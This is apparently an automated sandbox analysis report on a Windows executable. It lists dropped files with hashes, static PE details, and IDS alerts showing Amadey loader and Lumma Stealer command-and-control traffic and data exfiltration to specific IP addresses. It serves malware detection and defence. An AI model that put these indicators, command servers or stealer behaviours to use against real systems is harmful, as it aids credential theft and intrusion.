MD5:	BCE7F1478809FDBC475A53A0316D4552
SHA1:	785A63C4DFEDB959EA83147F936DDDB776791169
SHA-256:	58D59CFB998C0BEEF8646E5A55BD2658C50E1C97383772BE2EC65164E10F11A7
SHA-512:	65837C078F1A74DAE0365960CB578BA6725466F89F1901F76BED56D88D99D2E786BB9342476D707D62DF05154B037BAD06B2153721C41C4631C5A60D9D974527
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732378500);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732378500);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732378500);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173237

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	6.386367743812677
Encrypted:	false
SSDEEP:	24:vWSUGdI6zfNz9vfQHr70rA6Xi14R+FaRjOJNdZZI1Gx2pHsCj6lFnSvdMDADD6L8:epiI6zN9vfirWAqMU4NIbOPnuDWLdThQ
MD5:	66BFBBE9FFC698B709883C147430D89F
SHA1:	3E4DD334EDB33AC27ACDF55ABAB97FE348288F39
SHA-256:	9F6532A4CC604022C2BFF25A5DC1A1ABAF4C713CBAA2A8342BA9305D7BE0881D
SHA-512:	51B43306C8F684711CD1D9FA80008FBF0E6ED41242D6B51DD4807C31ED9C158C5B045247BF4178D59110C93F8FDFF3E714918A85803CB840FB8F12BAE8FBB23C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732378488075,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	6.386367743812677
Encrypted:	false
SSDEEP:	24:vWSUGdI6zfNz9vfQHr70rA6Xi14R+FaRjOJNdZZI1Gx2pHsCj6lFnSvdMDADD6L8:epiI6zN9vfirWAqMU4NIbOPnuDWLdThQ
MD5:	66BFBBE9FFC698B709883C147430D89F
SHA1:	3E4DD334EDB33AC27ACDF55ABAB97FE348288F39
SHA-256:	9F6532A4CC604022C2BFF25A5DC1A1ABAF4C713CBAA2A8342BA9305D7BE0881D
SHA-512:	51B43306C8F684711CD1D9FA80008FBF0E6ED41242D6B51DD4807C31ED9C158C5B045247BF4178D59110C93F8FDFF3E714918A85803CB840FB8F12BAE8FBB23C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732378488075,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	6.386367743812677
Encrypted:	false
SSDEEP:	24:vWSUGdI6zfNz9vfQHr70rA6Xi14R+FaRjOJNdZZI1Gx2pHsCj6lFnSvdMDADD6L8:epiI6zN9vfirWAqMU4NIbOPnuDWLdThQ
MD5:	66BFBBE9FFC698B709883C147430D89F
SHA1:	3E4DD334EDB33AC27ACDF55ABAB97FE348288F39
SHA-256:	9F6532A4CC604022C2BFF25A5DC1A1ABAF4C713CBAA2A8342BA9305D7BE0881D
SHA-512:	51B43306C8F684711CD1D9FA80008FBF0E6ED41242D6B51DD4807C31ED9C158C5B045247BF4178D59110C93F8FDFF3E714918A85803CB840FB8F12BAE8FBB23C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732378488075,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.03516677481934
Encrypted:	false
SSDEEP:	48:YrSAYSC06UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycS9yTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	24AB388DF3491ABF3155745B5A8DE9E3
SHA1:	C3B975A6DC6247B243E83BA42014D1D7E774945B
SHA-256:	2EEFBBDB018E57C5783C2D376B054B266B5B9CF7C4CD138FB7A5B8F5341A5AED
SHA-512:	031B70D7F69490646D86D851987FBB28BE8E506BBF4DE13324E67947BB029764722B4060222824EB543C8B966BCB74ECC7719268204221BC054399B6E034FB4A
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-23T16:14:56.748Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.03516677481934
Encrypted:	false
SSDEEP:	48:YrSAYSC06UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycS9yTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	24AB388DF3491ABF3155745B5A8DE9E3
SHA1:	C3B975A6DC6247B243E83BA42014D1D7E774945B
SHA-256:	2EEFBBDB018E57C5783C2D376B054B266B5B9CF7C4CD138FB7A5B8F5341A5AED
SHA-512:	031B70D7F69490646D86D851987FBB28BE8E506BBF4DE13324E67947BB029764722B4060222824EB543C8B966BCB74ECC7719268204221BC054399B6E034FB4A
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-23T16:14:56.748Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410624
Entropy (8bit):	7.076248937743528
Encrypted:	false
SSDEEP:	12288:TDWjE28LbqpSkloddKQbiqCUr/K/KwVR6uGqxwSVMFIYwXLIMO//jYqVBh5zh2ye:T6jE28LmpSkeddNbiqCUr/K/KwVR6uGZ
MD5:	3535FCD3063A2965F1DD8F9B65CA8355
SHA1:	1F5C89CAF911A08415D55CE1687101B65871B122
SHA-256:	086057602EEC63ED064BD97C1643B20C727AA4A557D16BD26A763716414620FE
SHA-512:	9B623500FFBE25D6DC08C3C90AEB8C123E9FC2841F0962B6FE57CA1D2AB44FB1062352E1D5AB1D506B156C0B25AAF96CA6267A36FD064C97C12DF965BCD66929
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]6...W...W...W...<...W...<..W...<...W...<...W..>....W...W..{W..K"...W..K"...W..K"...W...W...W..."...W..."...W..Rich.W..........PE..L.....Ag...........!.........N.......n.......................................`............@..........................d..X....d..P............................P..l...\]..............................x]..@...............T............................text............................... ..`.rdata...\.......^..................@..@.data........p.......^..............@....reloc..l....P.......4..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGIECFIEGDB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1985024
Entropy (8bit):	7.9507756114194965
Encrypted:	false
SSDEEP:	49152:PnkIJ9x3pmw2y1U0/VA9D2qK1ODPV69VjisvJ:PkIJb52y1K9aqGZ
MD5:	699F4008683185B4A050B05ACE13D601
SHA1:	70D47E8921906A344885C279AFA34522658BF06D
SHA-256:	FFC9A0FE541652271756108C9B20010B9F99024C69BC81111076AE8A132AE733
SHA-512:	64FD7F8BA560DC9FF4718D2087755B76CC815EDCDBAF124BA5F7F3B5F633A0870266E71D4BD42FCC041FFDAA087D2DD0B5CB7E9CD592534CD46B52307FA3B28C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. N...........@..........................PN.....t.....@.................................W...k.......D...................8.N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0,.........................@...aokahsxj.0....2.....................@...zuglusup......N......$..............@....taggant.0... N.."...(..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.403741662680283
Encrypted:	false
SSDEEP:	6:pBrtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB8ut0:pBNf2RKQ1CGAFAjzvYRQVB8ut0
MD5:	5E3AA50868D6D18672FDD132AD6F809E
SHA1:	E3C7A39555DF90C6729AFF6E2CA0C02819662BC7
SHA-256:	224F6B09AB02A42F233D7E2810B1613C2258D720D929D37600B5F48045391DCD
SHA-512:	1A65A5A0E026B8326BE8DD007F405943BF3969F087F1379234680F35185A8C154B176FC5E4EEF257CAD572F9AB1B894DB940CBE2DA875954FEFC2FC69D892C46
Malicious:	false
Reputation:	unknown
Preview:	..........J...."..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466133882887643
Encrypted:	false
SSDEEP:	6144:8IXfpi67eLPU9skLmb0b4yWSPKaJG8nAgejZMMhA2gX4WABl0uNSdwBCswSbOw:BXD94yWlLZMM6YFHU+Ow
MD5:	1967DDE2677B5023FAC1C06174717D2D
SHA1:	96FC65C674DB82671813E94146EBFDA96B01EEB4
SHA-256:	F490F4B73E139DAB56D0E4FE8DFD23AB6026586E7AD03E62C68694A0982D031A
SHA-512:	E1E76E989BB162C77C0C6588E4EEB58934F9425D625872E8E02EE40B4FC41170187AE4C869C926333DD2BBEE871AED1C3FDF7A31B75B654C13CB4C784574EBD3
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....=................................................................................................................................................................................................................................................................................................................................................."........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe
File Type:	ASCII text, with very long lines (354), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	4.5324638445490235
Encrypted:	false
SSDEEP:	24:7v74NuMMvXIUn2p/kpgw4r22Drrb2nknlusDp:7T4BMff2p8p14nrPKktp
MD5:	A0A7BDF9003524A40DA3745525F33D71
SHA1:	B92126A307BFE0131B3E83A45795D5E4169499DA
SHA-256:	871FB5E2F3DBA881F5446DCFCF7250DE2D8E7844BE8BB3CCD5EDD6910FAC6BDE
SHA-512:	56FA424A0714F4738F6AE5EEB93D1B96F046246B0CD9E67D93C833C5C7DB587A7A8BF9FBCF57CA8500D503C5C81DD68BD6E1E0E2A85E76A8E951E6624CBBC69D
Malicious:	false
Reputation:	unknown
Preview:	.Unhandled Exception: System.Resources.MissingManifestResourceException: Could not find any resources appropriate for the specified culture or the neutral culture. Make sure "caspol.resources" was correctly embedded or linked into assembly "UlyssesTessaSamuel" at compile time, or that all the satellite assemblies required are loadable and fully signed... at System.Resources.ManifestBasedResourceGroveler.HandleResourceStreamMissing(String fileName).. at System.Resources.ManifestBasedResourceGroveler.GrovelForResourceSet(CultureInfo culture, Dictionary`2 localResourceSets, Boolean tryParents, Boolean createIfNotExists, StackCrawlMark& stackMark).. at System.Resources.ResourceManager.InternalGetResourceSet(CultureInfo requestedCulture, Boolean createIfNotExists, Boolean tryParents, StackCrawlMark& stackMark).. at System.Resources.ResourceManager.InternalGetResourceSet(CultureInfo culture, Boolean createIfNotExists, Boolean tryParents).. at System.Resources.ResourceManager.GetSt

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9507756114194965
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'985'024 bytes
MD5:	699f4008683185b4a050b05ace13d601
SHA1:	70d47e8921906a344885c279afa34522658bf06d
SHA256:	ffc9a0fe541652271756108c9b20010b9f99024c69bc81111076ae8a132ae733
SHA512:	64fd7f8ba560dc9ff4718d2087755b76cc815edcdbaf124ba5f7f3b5f633a0870266e71d4bd42fcc041ffdaa087d2dd0b5cb7e9cd592534cd46b52307fa3b28c
SSDEEP:	49152:PnkIJ9x3pmw2y1U0/VA9D2qK1ODPV69VjisvJ:PkIJb52y1K9aqGZ
TLSH:	759533464D83DA40F4D686BB27B3562D3F2068BC455ACFA66200B13BEE13349D76F69C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8e2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F20FD40269Ah
movaps xmm3, dqword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4e0d38	0x10	aokahsxj
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4e0ce8	0x18	aokahsxj
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	8759abfef336b850d747e0763c65f4e1	False	0.9977222411444142	data	7.979490092282714	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2c3000	0x200	915d16a5163779da95b5834627d3302c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aokahsxj	0x32e000	0x1b3000	0x1b2e00	07b1ac85d274a0f7b5b23cb2b4f73435	False	0.9948221696248922	data	7.953945599096896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zuglusup	0x4e1000	0x1000	0x400	89c4607818d4515cdd70dad5ca258302	False	0.802734375	data	6.258082044207182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4e2000	0x3000	0x2200	6083ea317eeb31c08af6d46025c370d4	False	0.05939797794117647	DOS executable (COM)	0.7541324449963697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T15:22:06.307419+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-23T15:22:10.755759+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-23T15:22:15.137100+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-23T15:22:15.250494+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:15.960588+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:15.960588+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:16.537189+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49777	185.215.113.43	80	TCP
2024-11-23T15:22:17.473722+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:18.041535+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49780	31.41.244.11	80	TCP
2024-11-23T15:22:18.202068+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:18.202068+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:19.864235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49787	172.67.223.140	443	TCP
2024-11-23T15:22:20.782957+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49787	172.67.223.140	443	TCP
2024-11-23T15:22:21.124926+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49793	185.215.113.43	80	TCP
2024-11-23T15:22:22.239760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49794	172.67.223.140	443	TCP
2024-11-23T15:22:22.634154+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49795	185.215.113.16	80	TCP
2024-11-23T15:22:24.692753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	172.67.223.140	443	TCP
2024-11-23T15:22:27.655893+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49813	172.67.223.140	443	TCP
2024-11-23T15:22:29.654474+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49815	185.215.113.43	80	TCP
2024-11-23T15:22:29.670043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:30.237856+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.223.140	443	TCP
2024-11-23T15:22:30.245471+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49822	172.67.223.140	443	TCP
